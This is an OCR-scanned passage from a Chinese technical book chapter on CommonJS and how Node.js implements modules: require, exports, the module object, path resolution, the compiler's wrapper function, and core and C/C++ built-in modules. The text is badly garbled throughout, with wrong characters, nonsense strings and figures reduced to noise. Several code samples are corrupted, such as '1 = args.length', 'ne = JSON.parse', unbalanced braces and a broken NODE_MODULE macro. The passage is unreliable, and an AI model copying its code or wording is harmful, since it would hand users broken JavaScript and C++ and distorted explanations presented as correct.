经 历 了 长 长 的 后 天 努力 过 程 ，JavaScript 不 断 被 类 聚 和 抽象 ， 以 更 好 地 
组 织 业 务 逻 辑 。 从 男 一 个 角度 而 言 ， 它 也 道 出 了 JavaScript 先 天 就 缺乏 
的 一 项 功能 : 模块 。 


在 其 他 高 级 语言 中 ，Java 有 类 文件 ，Python 有 inport 机 制 ，Ruby 有 
require ， PHP 有 ;include 和 require 9 而 JavaScript 通 过 <script> 标 签 引 入 代码 的 
方式 显得 杂乱 无 昔 ， 语 言 目 身 量 无 组 织 和 约束 能 力 。 人 们 不 得 不 用 命 
名 空间 等 方式 人 为 地 约束 代码 ， 以 求 达 到 安全 和 易 用 的 目的 。 

但 是 看 起 来 凌乱 的 JavaScript 编 程 现状 并 不 代表 着 社区 没有 进步 ， 
JavaScript 的 本 地 化 编程 之 路 一 直 在 探索 中 。 在 Node 出 现 之 前 ， 服 务 履 
端 JavaScript 基 本 没有 市 场 ， 与 欣欣 回采 的 前 端 JavaScript 应 用 相 比 ， 
Rhino 等 后 端 JavaScript 运 行 环境 基本 只 是 用 于 小 工具 ， 但 是 经 历 十 多 
年 的 发 展 后 ， 社 区 也 为 JavaScript 制 定 了 相应 的 规范 ， 其 中 CommonJS 
规范 的 提出 算是 最 为 重要 的 里 程 碑 。 


2.1 CommonJS 规 范 

CommonJS 规 范 为 JavaScript 制 是 了 一 个 美好 的 愿景 一 一 希望 JavaScript 能 
够 在 任何 地 方 运行 。 

2.1.1 CommonJS 的 出 发 点 

在 JavaScript 的 发 展 历程 中 ， 它 主要 在 浏览 器 前 端 发 光 发 热 。 由 于 官方 规 
范 (ECMAScript) 规范 化 的 时 间 较 早 ， 规 范 涵盖 的 范畴 非常 小 。 这 些 规 
范 中 包含 词法 、 类 型 、 上 下 文 、 表 达 式 、 声 明 (statement) 、 方 法 、 对 象 
等 语言 的 基本 要 素 。 在 实际 应 用 中 ，JavaScript 的 表现 能 力 取决 于 宿主 环 
境 中 的 API 文 持 程度 。 在 Web 1.0 时 代 ， 只 有 对 DOM、BOM 等 基本 的 文 
持 。 随 着 Web 2.0 的 推进 ，HTML5 思 露头 角 ， 它 将 Web 网 页 带 进 Web 应 用 
的 时代， 在 浏览 絮 中 出 现 了 更 多 、 更 强大 的 API 供 JavaScript 调 用 ， 这 得 感 
谢 W3C 组 织 对 HTML5 规 范 的 推进 以 及 各 大 浏览 絮 厂 两 对 规范 的 大 力 支 
持 。 但 是 ，Web 在 发 展 ， 浏 览 右 中 出 现 了 更 多 的 标准 API， 这 些 过 程 发 生 
在 前 端 ， 后 端 JavaScript 的 规范 却 远 远 落后 。 对 于 JavaScript 上 自身 而 言 ， 它 
的 规范 依然 是 薄弱 的 ， 还 有 以 下 缺陷 。 


。 没有 模块 系统 。 

。 标准 库 较 少 。ECMAScript 仅 定义 了 部 分 核心 库 ， 对 于 文件 系 
统 ，IO 流 等 常见 需求 却 没有 标准 的 API。 就 HIML5 的 发 展 状况 
而 言 ，W3C 标 准 化 在 一 定 意义 上 是 在 推进 这 个 过 程 ， 但 是 它 仅 
限于 浏览 器 端 。 

。 没有 标准 接口 。 在 JavaScript 中 ， 几乎 没有 定义 过 如 Web 服 务 器 或 
者 数据 库 之 类 的 标准 统一 接口 。 

。 缺乏 包 管 理 系统 。 这 导致 JavaScript 应 用 中 基本 没有 自动 加 载 和 
安装 依赖 的 能 力 。 


CommonJS 规 范 的 提出 ， 主 要 是 为 了 弥补 当 前 JavaScript 没 有 标准 的 缺陷 ， 
以 达到 像 Python、Ruby 和 Java 具 备 开 发 大 型 应 用 的 基础 能 力 ， 而 不 是 停留 
在 小 脚本 程序 的 阶段 。 他 们 期 望 那些 用 CommonJS API 写 出 的 应 用 可 以 具 
备 跨 宿主 环境 执行 的 能 力 ， 这 样 不 仅 可 以 利用 JavaScript 开 发 富 客 户 端 应 
用 ， 而 且 还 可 以 编写 以 下 应 用 。 


。 服务 器 端 JavaScript 应 用 程序 。 

。 命令 行 工 具 。 

。 桌面 图 形 界面 应 用 程序 。 

。 混合 应 用 (Titanium 和 Adobe AIR 等 形式 的 应 用 ) 


如 今 ，CommonJS 中 的 大 部 分 规范 虽然 依旧 是 草案 ， 但 是 已 经 初 显 成 效 ， 

为 JavaScript 开 发 大 型 应 用 程序 指明 了 一 条 非常 棒 的 道路 。 目 前 ， 它 依旧 
在 成 长 中 ， 这 些 规 范 涵盖 了 模块 、 二 进 制 、Buffer、 字 符 集 编码 、IO 流 、 
进程 环境 `、 文件 系统 、 套 接 字 、 单 元 测试 、Web 服 务 器 网 关 接 口 、 包 管理 


本 

理论 和 实践 总 是 相互 影响 和 促进 的 ，Node 能 以 一 种 比较 成 熟 的 姿态 出 
现 ， 离 不 开 CommonJS 规 范 的 影响 。 在 服务 器 端 ，CommonJS 能 以 一 种 寻 
常 的 姿态 写 进 各 个 公司 的 项 目 代 码 中 ， 离 不 开 Node 优 异 的 表现 。 实 现 的 
优良 表现 离 不 开 规范 最 初 优秀 的 设计 ， 规 范 因 实现 的 推广 而 得 以 普及 。 
图 2-2 是 Node 与 浏览 器 以 及 W3C 组 织 、CommonJS 组 织 、ECMAScript 之 间 
的 关系 ， 共 同 构成 了 一 个 繁 采 的 生态 系统 。 


浏览 器 ComimonJs 


| 
Bov | [pow Bufter [| 


W3C Node 
图 2-2 ”Node 与 浏览 器 以 及 W3C 组 织 、CommonJS 组 织 、ECMAScript 之 
间 的 关系 
Node 借 鉴 CommonJS 的 Modules 规 范 实 现 了 一 套 非常 易 用 的 模块 系统 ， 
NPM 对 Packages 规 范 的 完好 文 持 使 得 Node 应 用 在 开发 过 程 中 事半功倍 。 
在 本 章 中 ， 我 们 主要 就 Node 的 模块 和 包 的 实现 进行 展开 说 明 。 
2.1.2 ” CommonJS 的 模块 规范 
CommonJS 对 模块 的 定义 十 分 简单 ， 主 要 分 为 模块 引用 、 模 块 定义 和 模块 


标识 3 个 部 分 。 


1. ”模块 引用 
模块 引用 的 示例 代码 如 下 : 
var math = require('math'); 
在 CommonJS 规 范 中 ， 存 在 require() 方 法 ， 这 个 方法 接受 模块 标 
识 ， 以 此 引入 一 个 模块 的 API 到 当前 上 下 文中 。 

2. ”模块 定义 
在 模块 中 ， 上 下 文 提 供 require() 方 法 来 引入 外 部 模块 。 对 应 引入 
的 功能 ， 上 下 文 提供 了 exports 对 象 用 于 导出 当前 模块 的 方法 或 者 
变量 ， 并 且 它 是 唯一 导出 的 出 口 。 在 模块 中 ， 还 存在 一 个 module 
对 象 ， 它 代表 模块 目 身 ， 而 exports 和 是 mouule 的 属性 。 在 Node 中 ， 一 


个 文件 惑 是 一 个 模块 ， 将 方法 挂 载 在 exports 对 象 上 作为 属性 即 可 
se > 
定义 寻 出 的 方式 ; 
// math.js 
exports.add = function () { 
var sum = 0, 
i= 0, 
args = arguments, 
1 = args.length; 
while (i < 1) { 
Sum += args[i++]; 


return sum; 


在 另 一 个 文件 中 ， 我 们 通过 -equire0) 方 法 引入 模块 后 ， 就 能 调用 
定义 的 属性 或 方法 了 : 

// program.js 

var math = require('math'); 


exports,increment = function (val) { 
return math.add(val, 1); 


2 
模块 标识 

模块 标识 其 实 束 古 传 递 给 require0) 方 法 的 参数 ， 它 必须 是 符合 小 
驼峰 命名 的 字符 串 ， 或 者 以 .、.. 开 头 的 相对 路 径 ， 或 者 绝对 路 
径 。 它 可 以 没有 文件 名 后 缀 .js。 

模块 的 定义 十 分 简单 ， 接 口 也 十 分 简洁 。 它 的 意义 在 于 将 类 聚 
的 方法 和 变量 等 限定 在 私有 的 作用 域 中 ， 同 时 文 持 引入 和 导出 
功能 以 顺畅 地 连接 上 下 游 依赖 。 如 图 2-3 所 示 ， 每 个 模块 具有 和 独 
立 的 空间 ， 它 们 互 不 干扰 ， 在 引用 时 也 显得 干净 利落 。 


module 


require exports 


图 2-3 ”模块 定义 


CommonJS 构 建 的 这 套 模 块 导 出 和 引入 机 制 使 得 用 户 完全 不 必 考 
虑 变量 污染 ， 命 名 空间 等 方案 与 之 相 比 相形 见 绸 。 


2.2 Node 的 模块 实现 

Node 在 实现 中 并 非 完 全 按照 规范 实现 ， 而 是 对 模块 规范 进行 了 一 定 的 
取舍 ， 同 时 也 增加 了 少许 自身 需要 的 特性 。 尽 管 规范 中 exports 、require 
和 mouule 上 听 起 来 十 分 简单 ， 但 是 Node 在 实现 它们 的 过 程 中 究竟 经 历 了 什 
么 ， 这 个 过 程 需要 知晓 。 

在 Node 中 引入 模块 ， 需 要 经 历 如 下 3 个 步骤 。 


1. 路 径 分 析 
2 文件 定位 
3. 编译 执行 


在 Node 中 ， 模 块 分 为 两 类 : 一 类 是 Node 提 供 的 模块 ， 称 为 核心 模块 ; 
男 一 类 十 用 户 编写 的 模块 ， 称 为 文件 模块 。 


。 核心 模块 部 分 在 Node 源 代码 的 编译 过 程 中 ， 编 译 进 了 二 进 制 
执行 文件 。 在 Node 进 程 启动 时 ， 部 分 核心 模块 就 被 直接 加 载 
进 内 存 中 ， 所 以 这 部 分 核心 模块 引入 时 ， 文 件 定 位 和 编译 执 
行 这 两 个 步骤 可 以 省 略 掉 ， 并 且 在 路 径 分 析 中 优先 判断 ， 所 
以 它 的 加 载 速度 是 最 快 的 。 
。 文件 模块 则 是 在 运行 时 动态 加 载 ， 需 要 完整 的 路 径 分 析 、 文 
件 定 位 、 编 译 执行 过 程 ， 速 度 比 核心 模块 慢 。 
接 下 来 ， 我 们 展开 详细 的 模块 加 载 过 程 。 
2.2.1 ”优先 从 缓存 加 载 
展开 介绍 路 径 分 析 和 文件 定位 之 前 ， 我 们 需要 知晓 的 一 点 是 ， 与 前 端 
浏览 器 会 缓存 静态 脚本 文件 以 提高 性 能 一 样 ，Node 对 引入 过 的 模块 都 
会 进行 缓存 ， 以 减少 二 次 引入 时 的 开销 。 不 同 的 地 方 在 于 ， 浏 览 器 仅 
仅 缓存 文件 ， 而 Node 缓 存 的 是 编译 和 执行 之 后 的 对 象 。 
不 论 是 核心 模块 还 是 文件 模块 ，require() 方 法 对 相同 模块 的 二 次 加 载 都 
- 律 采 用 缓存 优先 的 方式 ， 这 是 第 一 优先 级 的 。 不 同 之 处 在 于 核心 模 
块 的 缓存 检查 先 于 文件 模块 的 缓存 检查 。 
2.2.2 ”路 径 分 析 和 文件 定位 
因为 标识 符 有 几 种 形式 ， 对 于 不 同 的 标识 符 ， 模 块 的 查找 和 定位 有 不 
同 程度 上 的 差异 。 


模块 标识 符 分 析 
前 面 提 到 过 ，require() 方 法 接受 一 个 标识 符 作 为 参数 。 在 Node 
实现 中 ， 正 是 基于 这 样 一 个 标识 符 进 行 模块 查找 的 。 模 块 标 
识 符 在 Node 中 主要 分 为 以 下 几 类 。 
核心 模块 ， 如 nttp TS path 等 9 
.或 .开始 的 相对 路 径 文件 模块 。 
以 /开始 的 绝对 路 径 文件 模块 。 
非 路 径 形 式 的 文件 模块 ， 如 目 定 义 的 connect 模 块 。 
核心 模块 
核心 模块 的 优先 级 仅 次 于 缓存 加 载 ， 它 在 Node 的 源 代 码 
编译 过 程 中 已 经 编译 为 二 进 制 代码 ， 其 加 载 过 程 最 快 。 
如 宁 试 图 加 载 一 个 与 核心 模块 标识 符 相 同 的 目 定义 模 
块 ， 那 是 不 会 成 功 的 。 如 果 上 自己 编写 了 一 个 http 用 户 模 
块 ， 想 要 加 载 成 功 ， 必 须 选择 一 个 不 同 的 标识 符 或 者 换 
用 路 径 的 方式 。 
路 径 形式 的 文件 模块 
以 、 .和 /开始 的 标识 符 ， 这 里 都 被 当做 文件 模块 来 处 
理 。 在 分 析 路 径 模 块 时 ，require() 方 法 会 将 路 径 转 为 真实 
路 径 ， 并 以 真实 路 径 作 为 索引 ， 将 编译 执行 后 的 结果 存 
放 到 缓存 中 ， 以 使 二 次 加 载 时 更 快 。 
由 于 文件 模块 给 Node 指 明了 确切 的 文件 位 置 ， 所 以 在 查 
2 其 加 载 速 度 慢 于 核心 模 
自 定义 模块 
目 定义 模块 指 的 是 非 核心 模块 ， 也 不 是 路 径 形式 的 标识 
人 符 。 它 是 一 种 特殊 的 文件 模块 ， 可 能 是 一 个 文件 或 者 包 
的 形式 。 这 类 模块 的 查找 是 最 费时 的 ， 也 是 所 有 方式 中 
最 慢 的 一 种 。 
在 介绍 自 定义 模块 的 查找 方式 之 前 ， 需 要 先 介 绍 一 下 模块 路 
模块 路 径 是 Node 在 定位 文件 模块 的 具体 文件 时 制定 的 查找 党 
略 ， 有 具体 表现 为 一 个 路 径 组 成 的 数组 。 天 于 这 个 路 径 的 生成 


1. 


2 


规则 ， 我 们 可 以 手动 葵 试 一 番 。 
创 建 module pathjs 文件 ， 其 内容 为 
console.log(module.paths); ° 
将 其 放 到 任意 一 个 目录 中 然后 执行 houe module path.js。 
在 Linux 下 ， 你 可 能 得 到 的 是 这 样 一 个 数组 输出 : 
[ '/home/jackson/research/node modules', 
'/home/jackson/node modules', 


'/home/node_modules', 
'/node _ modules' ] 


而 在 Windows 下， 也 许 是 这 样 : 
[ 'c:\\nodejs\\node modules', 'c:\\node modules' | 
可 以 看 出 ， 模 块 路 径 的 生成 规则 如 下 所 示 。 
当前 文件 目 孙 下 的 node_modules 目 孙 。 
父 目 永 下 的 node_modules 目 了 永 。 
父 目录 的 父 目 隶 下 的 node_modules 目 杂 。 
1 同上 逐 级 递归 ， 直 到 根 目录 下 的 node_modules 目 


它 的 生成 方式 与 JavaScript 的 原型 链 或 作用 域 链 的 查找 方式 十 
分 类 似 。 在 加 载 的 过 程 中 ，Node 会 逐个 党 试 模块 路 径 中 的 路 
径 ， 直 到 找到 目标 文件 为 止 。 可 以 看 出 ， 当 前 文件 的 路 径 越 
深 ， 模 块 得 找 耗 时 会 越 多 ， 这 是 目 定义 模块 的 加 载 速 度 旦 最 
慢 的 原因 。 

文件 定位 

从 缓存 加 载 的 优化 策略 使 得 二 次 引入 时 不 需要 路 径 分析 、 文 
人 大 大 提高 了 再 次 加 载 模块 时 的 效 


但 在 文件 的 定位 过 程 中 ， 还 有 一 些 细节 需要 注意 ， 这 主要 包 
括 文件 扩展 名 的 分 析 、 目 隶 和 包 的 处 理 。 
文件 扩展 名 分 析 
require(0) 在 分 析 标 识 符 的 过 程 中 ， 会 出 现 标 识 符 中 不 包含 
文件 扩展 名 的 情况 。CommonJS 模 块 规范 也 允许 在 标识 
符 中 不 包 念 文件 扩展 名 ， 这 种 情况 下 ; Node 会 
按 .js、.json、.node 的 次 序 补足 扩展 名 ， 依 次 尝试 。 


在 尝试 的 过 程 中 ， 需 要 调用 rs 模块 同步 阻塞 式 地 判断 文 
件 是 否 存在 。 因 为 Node 是 单线 程 的 ， 所 以 这 里 是 一 个 会 
引起 性 和 问题 的 地 方 。 小 诀窍 是 : 如果 是 .node 和 .json 文 
件 ， 在 传递 给 require0 的 标识 符 中 带 上 扩展 名 ， 会 加 快 一 
点 速度 。 另 一 个 诀 罕 是 : 同步 配合 缓存 ， 可 以 大 幅度 组 
解 Node 单 线程 中 阻塞 式 调用 的 缺陷 。 

目录 分 析 和 包 


在 分 析 标 识 符 的 过 程 中 ，require0) 通 过 分 析 文 件 扩展 名 之 
后 ， 可 能 没有 查找 到 对 应 文件 ， 但 却 得 到 一 个 目录 ， 这 
在 引入 自 定义 模块 和 了 逐个 模块 路 径 进 行 查找 时 经 常会 出 
现 ， 此 时 Node 会 将 目录 当做 一 个 包 来 处 理 。 


在 这 个 过 程 中 ， Node 对 CommonJS 包 规范 进行 了 一 定 程 
度 的 支持 。 首 先 ，Node 在 当前 目录 下 查找 package.json 

(CommonJS 包 规范 定义 的 包 描 述 文件 ) ， 通 过 
JsoN.parse() 解 析出 包 摘 述 对 象 ， 从 中 取出 nain 属 性 指定 的 
文件 名 进行 定位 。 如 果 文 件 名 缺少 扩展 名 ， 将 会 进入 扩 
展 名 分 析 的 步骤 。 


而 如 果 main 属 性 指定 的 文件 名 错误 ， 或 者 压根 没有 
package.json 文 件 ， Node 会 将 i 当做 默认 文件 名 ， 然 后 
依次 查找 index.js、index.node、index.json 。 

如 果 在 目录 分 析 的 过 程 中 没有 定位 成 功 任何 文 件 ， 则 目 
定义 模块 进入 下 一 个 模块 路 径 进 行 查 找 。 如 有 果 模 块 路 径 
人 依然 没有 查找 到 目标 文件 ， 则 会 抛 
出 查找 失败 的 异 


2.2.3 ”模块 编译 
在 Node 中 ， 每 个 文件 模块 都 是 一 个 对 象 ， 它 的 定义 如 下 : 


function Module(id, parent) { 
id; 


this.id = 


this.exports = {}; 

this.parent = parent,; 

If (parent && parent ,children) { 
parent.children.push(this),; 


this.filename = null,; 
this.1loaded = false; 
this,children = []; 


编译 和 执行 是 引入 文件 模块 的 最 后 一 个 阶段 。 定 位 到 具体 的 文件 后 ， 
Node 会 靳 建 一 个 模块 对 象 ， 然 后 根据 路 径 载 入 并 编译 。 对 于 不 同 的 文 
件 扩展 名 ， 其 载 入 方法 也 有 所 不 同 ， 具 体 如 下 所 示 。 


。 “js 文件 。 通 过 rs 模块 同步 读 取 文件 后 编译 执行 。 
a .node 文 件 。 这 是 用 C/C++ 编写 的 扩展 文件 ， 通 过 glopen0) 方 法 加 


载 最 后 编译 生成 的 文件 。 
。 站 通过 fs 模块 同步 读 取 文件 后 ， 用 ;json.parse() 解 析 返 


。 其 余 扩展 名 文件 。 它 们 都 被 当做 .js 文件 载 入 。 


每 一 个 编译 成 功 的 模块 都 会 将 其 文件 路 径 作 为 索引 缓存 在 wodule.，cache 
对 象 上 ， 以 提高 二 次 引入 的 性 能 。 


根据 不 同 的 文件 扩展 名 ，Node 会 调用 不 同 的 读 取 方式 ， 如 .json 文 件 的 
调用 如 下 : 


// Native extension for .json 
Module._extensions['.json'] = function(module, filename 
var content = NativeModule.require('fs').readFileSync(filename, 'utf8'); 
try { 
ne = JSON.parse(stripBOM(content)); 
} catch (err) { 
err.message = filename + ': ' + err.message; 
throw err; 
} 
}; 
其 中 ， Module. _extensions 会 被 赋值 给 ee HJ sxeemsons | 性 ， 所 以 通过 在 
代码 中 访问 require.extensions 可 以 知道 系统 中 已 有 的 扩展 加 载 方式 。 编 写 


如 下 代码 测试 一 下 : 


console.log(require.extensions); 


得 到 的 执行 结果 如 下 : 


" .js': [Function], '.json': [Function], '.node': [Function 
] ] 


如 采 想 对 目 定 义 的 扩展 名 进行 特殊 的 加 载 ， 可 以 通过 类 似 
require.extensions[' .ext'] 的 方式 实现 早期 的 CoffeeScript 文 件 承 是 通过 添 
J gear ee si sapereewl jj 展 的 方 式 来 实现 加 载 的 但 是 从 v0.10.6 版 
本 开始 ， 官 方 不 辟 励 通过 这 种 方式 来 进行 目 定 义 扩 展 名 的 加 载 ， 而 是 
期 望 先 将 其 他 语言 或 文件 编译 成 JavaScript 文 件 后 再 加 载 ， 这 样 做 的 好 
处 在 于 不 将 烦琐 的 编译 加 载 等 过 程 引 入 Node 的 执行 过 程 中 。 


在 确定 文件 的 扩展 名 之 后 ，Node 将 调用 具体 的 编译 方式 来 将 文件 执行 
后 返回 给 调用 者 。 


1. 


JavaScript 模 块 的 编译 

回 到 CommonJS 模 块 规范 ， 我 们 知道 每 个 模块 文件 中 存在 着 
require 、 exports 、 nouils 这 3 个 变量 ， 但 是 它们 在 模块 文件 中 并 
没有 定义 ， 那 么 从 何 而 来 呢 ? 甚至 在 Node 的 API 文 档 中 ， 我 
们 知道 每 个 模块 中 还 有 _filenane、_dirnane 这 两 个 变量 的 存 
在 ， 它 们 又 是 从 何 而 来 的 呢 ? 如 采 我 们 把 直接 定义 模块 的 过 
程 放 诸 在 浏览 右 端 ， 会 存在 污染 全 局 变量 的 情况 。 

事实 上 ， 在 编译 的 过 程 中 ，Node 对 获取 的 JavaScript 文 件 内 容 
进 行 本 头 尾 名 装 2 在 头 部 添加 了 了 (function (exports， require, 
module, _ filename，_ dirname) {\n, 在 尾部 添加 了 wny): 四 2 在 全 
的 JavaScript 文 件 会 被 包装 成 如 下 的 样子 : 


(function (exports, require, module, __filename, __dirname) { 
var math = require('math'); 
exports.area = function (radius) { 


return Math.PI * radius * radius,; 
}; 
}); 


这 样 每 个 模块 文件 之 间 都 进行 了 作用 域 隔 离 。 包 效 之 后 的 代 
人 码 会 通过 wm 原生 模块 的 runrnrhiscontext( 方 法 执行 (类 人 gn ， 
只 是 具有 明确 上 和 下文， 不 污染 全 局 ) ， 返 回 一 个 具体 的 
function 对 象 。 最 后 ， 将 当前 模块 对 象 的 exports 属 性 、require() 
方法 、mouule (模块 对 象 自身 ) ， 以 及 在 文件 定位 中 得 到 的 完 
整 文件 路 径 和 文件 日 录 作为 参数 传递 给 这 个 function( 执行 。 
这 就 是 这 些 变量 并 没有 定义 在 每 个 模块 文件 中 却 存 在 的 原 
在 执行 之 后 ， 模块 的 exports 属 性 被 返回 给 了 调用 方 和 
exports 属 性 上 的 任何 方法 和 属性 都 可 以 被 外 部 调用 到 ， 但 是 模 
块 中 的 其 余 变 量 或 属性 则 不 可 直接 被 调用 。 

至 此 : require 、 exports 、 module 的 流程 已 经 完整 ， 这 就 是 Node 对 
CommonJS 模 块 规范 的 实现 。 

此 外 ， 许 多 初学 者 都 曾经 纠结 过 为 何 存 在 exports 的 情况 下 ， 还 
存在 mgmaesegggagi > 理想 情况 下 ， 只 要 赋值 给 exports 即 可 : 


exports = function () { 
// My Class 
}; 


但 是 通常 都 会 得 到 一 个 失败 的 结果 。 其 原因 在 于 ，exports 对 象 
征 通过 形 参 的 方式 传 入 的 ， 直 接 赋 值 形 参 会 改变 形 参 的 引 
用 ， 但 并 不 能 改变 作用 域外 的 值 。 测 试 代码 如 下 : 


var change = function (a) { 
一 00 ， 


[ 
console.1log(a); // => 100 
}; 
var a = 10; 
change(a); 
console.1log(a); // => 10 


如 果 要 达到 Fens | 入 一 个 类 的 效果 5 请 赋值 给 meatmesexpaaes 
对 象 。 这 个 迁 回 的 方案 不 改变 形 参 的 引用 。 
C/C++ 模 块 的 编译 

Node 调 用 process.dlopen() 方 法 进行 加 载 和 执行 。 在 Node 的 架构 
下 ，dlopen() 方 法 在 Windows 和 *nix 平 台 下 分 别 有 不 同 的 实现 ， 
通过 libuv 兼 容 层 进行 了 封装 。 

实际 上 ，.node 的 模块 文件 并 不 需要 编译 ， 因 为 它 是 编写 
C/C++ 模块 之 后 编译 生成 的 ， 所 以 这 里 只 有 加 载 和 执行 的 过 
程 。 在 执行 的 过 程 中 ， 模 块 的 exports 对 和 象 与 .node 模 块 产生 联 
系 ， 然 后 返回 给 调用 者 。 

C/C++ 模块 给 Node 使 用 者 带 来 的 优势 主要 是 执行 效率 方面 
的 ， 劣 势 则 是 C/C++ 模块 的 编写 门 相 比 JavaScript 高 。 
JSON 文 件 的 编译 

.json 文 件 的 编译 是 3 种 编译 方式 中 最 简单 的 。Node 利 用 fs 模块 
同步 读 取 JSON 文 件 的 内 容 之 后 ， 调 用 json.parse() 方 法 得 到 对 
象 ， 然 后 将 它 赋 给 模块 对 象 的 exports， 以 供 外 部 调用 。 
JSON 文 件 在 用 作 项 目的 配置 文件 时 比较 有 用 。 如 果 你 定义 了 
一 个 JSON 文 件 作 为 配置 ， 那 束 不 必 调 用 rs 模块 去 异步 读 取 和 
解析 ， 直 接 调 用 require() 引 入 即 可 。 此 外 ， 你 还 可 以 至 受到 模 
块 缓存 的 便利 ， 并 且 二 次 引入 时 也 没有 性 能 影响 。 

这 里 我 们 提 到 的 模块 编译 都 是 指 文件 模块 ， 即 用 户 上 自己 编写 
的 模块 。 在 下 一 和 中 ， 我 们 将 展开 介绍 核心 模块 中 的 
JavaScript 模 块 和 C/C++ 模块 。 


2.3 


核心 模块 


前 面 提 到 ，Node 的 核心 模块 在 编译 成 可 执行 文件 的 过 程 中 被 编译 进 了 二 
进 制 文件 。 核 心 模块 其 实 分 为 C/C++ 编写 的 和 JavaScript 编 写 的 两 部 分 ， 其 
中 C/C++ 文件 存放 在 Node 项 目的 src 目 录 下 ，JavaScript 文 件 存 放 在 lib 目 录 


3 


2.3.1 JavaScript 核 心 模块 的 编译 过 程 
在 编译 所 有 C/C++ 文件 之 前 ， 编 译 程序 需要 将 所 有 的 JavaScript 模 块 文件 编 
译 为 C/C++ 代码 ， 此 时 是 否 直接 将 其 编译 为 可 执行 代码 了 昵 ?其实 不 是 。 


转 存 为 C/C++ 代码 


Node 采 用 了 V8 附带 的 js2c.py 工 具 ， 将 所 有 内 置 的 JavaScript 代 码 
(src/node.js 和 1]ib/*.js) 转换 成 C++ 里 的 数组 ， 生 成 node_natives.h 
头 文件 ， 相 关 代码 如 下 : 


namespace node { 


const char node native[] = { 47, 47, ..}; 

const char dgram native[] = { 47, 47, ..}; 

const char console native[] = { 47, 47, ..}; 
const char buffer_native[] = { 47, 47, ..}; 
const char querystring_native[] = { 47, 47, ..}; 
const char punycode_ native[] = { 47, 42, ..}; 


struct _native { 
const char* name; 
const char* source; 
size_t source_ len; 


static const struct _native natives[] = { 
{ "node", node_native, sizeof(node_native)-1 }, 
{ "dgram", dgram_ native, sizeof(dgram native)-1 }, 


}; 
} 


在 这 个 过 程 中 ，JavaScript 代 码 以 字符 串 的 形式 存储 在 noue 命 名 空 
间 中 ， 是 不 可 直接 执行 的 。 在 启动 Node 进 程 时 ，JavaScript 代 码 
直接 加 载 进 内 存 中 。 在 加 载 的 过 程 中 ，JavaScript 核 心 模块 经 历 
标识 符 分 析 后 直接 定位 到 内 存 中 ， 比 普通 的 文件 模块 从 磁盘 中 
一 处 一 处 查找 要 快 很 多 。 

编译 JavaScript 核 心 模 块 

lib 目 录 下 的 所 有 模块 文件 也 没有 定义 require、module、exports 这 些 
变量 。 在 引入 JavaScript 核 心 模块 的 过 程 中 ， 也 经 历 了 头 尾 包 装 
的 过 程 ， 然 后 才 执行 和 导出 了 exports 对 象 。 与 文件 模块 有 区 别 的 


地 方 在 于 : 获取 源 代码 的 方式 (核心 模块 是 从 内 存 中 加 载 的 ) 
以 及 缓存 执行 结果 的 位 置 。 

JavaScript 核 心 模 块 的 定义 如 下 面 的 代码 所 示 ， 源 文件 通过 
process,binding('natives ' ) 取 出 ) 编 详 成 功 的 模 块 组 存 到 
evemodrengeaenex] 旬 目 ， 文件 模块 则 缓存 到 wouule cacne 对 象 上 : 


function NativeModule(id) { 
this.filename = Id + '.js'; 
this.id = id; 
this.exports = {}; 
this.loaded = false; 


NativeModule._source = process.binding('natives'); 
NativeModule._cache = {}; 


2.3.2 ”C/C++ 核心 模块 的 编译 过 程 

在 核心 模块 中 ， 有 些 模 块 全 部 由 C/C++ 编写 ， 有 些 模块 则 由 C/C++ 完成 核 
心 部 分 ， 其 他 部 分 则 由 JavaScript 实 现 包 装 或 向 外 导出 ， 以 满足 性 能 需 
求 。 后 面 这 种 C++ 模块 主 内 完成 核心 ，JavaScript 主 外 实现 封装 的 模式 是 
Node 能 够 提高 性 能 的 常见 方式 。 通 常 ， 脚 本 语言 的 开发 速度 优 于 静态 语 
言 ， 但 是 其 性 能 则 弱 于 静态 语言 。 而 Node 的 这 种 复合 模式 可 以 在 开发 速 
度 和 性 能 之 间 找 到 平衡 点 。 

这 里 我 们 将 那些 由 纯 C/C++ 编 写 的 部 分 统一 称 为 内 建 模 块 ， 因 为 它们 通常 
不 被 用 户 直接 调用 9 Node 的 buffer 、 crypto 、evals、 fs 、 os 等 模块 都 是 音 分 通 
过 C/C++ 编写 的 。 


1. ”内 建 模块 的 组 织 形 式 
在 Node 中 ， 内 建 模块 的 内 部 结构 定义 如 下 : 


Struct node module_struct { 
int version; 
void *dso_handle; 
const char *filename; 
void (*register_func) (v8::Handle<v8::0bject> target); 
const char *modname; 


}; 


每 一 个 内 建 模 块 在 定义 之 后 ， 都 通过 ops noputE 宏 将 模块 定义 到 
node 命 名 空间 中 ， 模 块 的 具体 初始 化 方法 挂 载 为 结构 的 


= 
ee 7 


#define NODE_MODULE(modname, regfunc) 
extern "C" 
NODE_MODULE_EXPORT node: :node module_ struct modname ## _module = 


NODE_STANDARD_MODULE_STUFF， 
regfunc， 
NODE_STRINGIFY(modname ) 


We A et wi 


}; \ 
} 


node_extensions.h 文 件 将 这 些 散 列 的 内 建 模块 统一 放 进 了 一 个 叫 
FSdei5dSRSSEI9 交 组 中 ; 这 些 模块 有 : 


node_buffer 
node_crypto 
node_evals 
node_fs 
node_http_parser 
node_os 

node_zlib 
node_timer_wrap 
node_tcp_wrap 
node_udp_wrap“ 
node_pipe_wrap 
node_cares_wrap 
node_tty_wrap 
node_process_wrap 
node_fs_event_wrap 


node_signal watcher 


这 些 内 建 模块 的 取出 也 十 分 简单 。Node 提 供 了 get_pbuiiltin module() 
方法 从 node module 1ist 数 组 中 取出 这 些 模 块 9 


内 建 模块 的 优势 在 于 ， 首先 ， 它 们 本 身 由 C/C++ 编写 ， 性 能 上 优 
于 脚本 语言 ， 其 次 ， 在 进行 文件 编译 时 ， 它 们 被 编译 进 二 进 制 
文件 。 一 旦 Node 开 始 执行 ， 它 们 被 直接 加 载 进 内 存 中 ， 无 须 再 
次 做 标识 符 定 位 、 文 件 定 位 、 编 译 等 过 程 ， 直 接 束 可 执行 。 

内 建 模 块 的 导出 


在 Node 的 所 有 模块 类 型 中 ， 存 在 着 如 图 2-4 所 示 的 一 种 依赖 层级 
a 0 核心 模块 可 能 会 依赖 
员 O 


文件 模块 


核心 模块 


(JavaScript) 


内 建 模 块 
(C/C++) 


图 2-4 ”依赖 层级 关系 

通常 ， 不 推荐 文件 模块 直接 调用 内 建 模块 。 如 需 调用 ， 直 接 调 
用 核心 模块 即 可 ， 因 为 核心 模块 中 基本 都 封装 了 内 建 模 块 。 那 
么 内 建 模块 是 如 何 将 内 部 变量 或 方法 导出 ， 以 供 外 部 JavaScript 
核心 模块 调用 的 呢 ? 

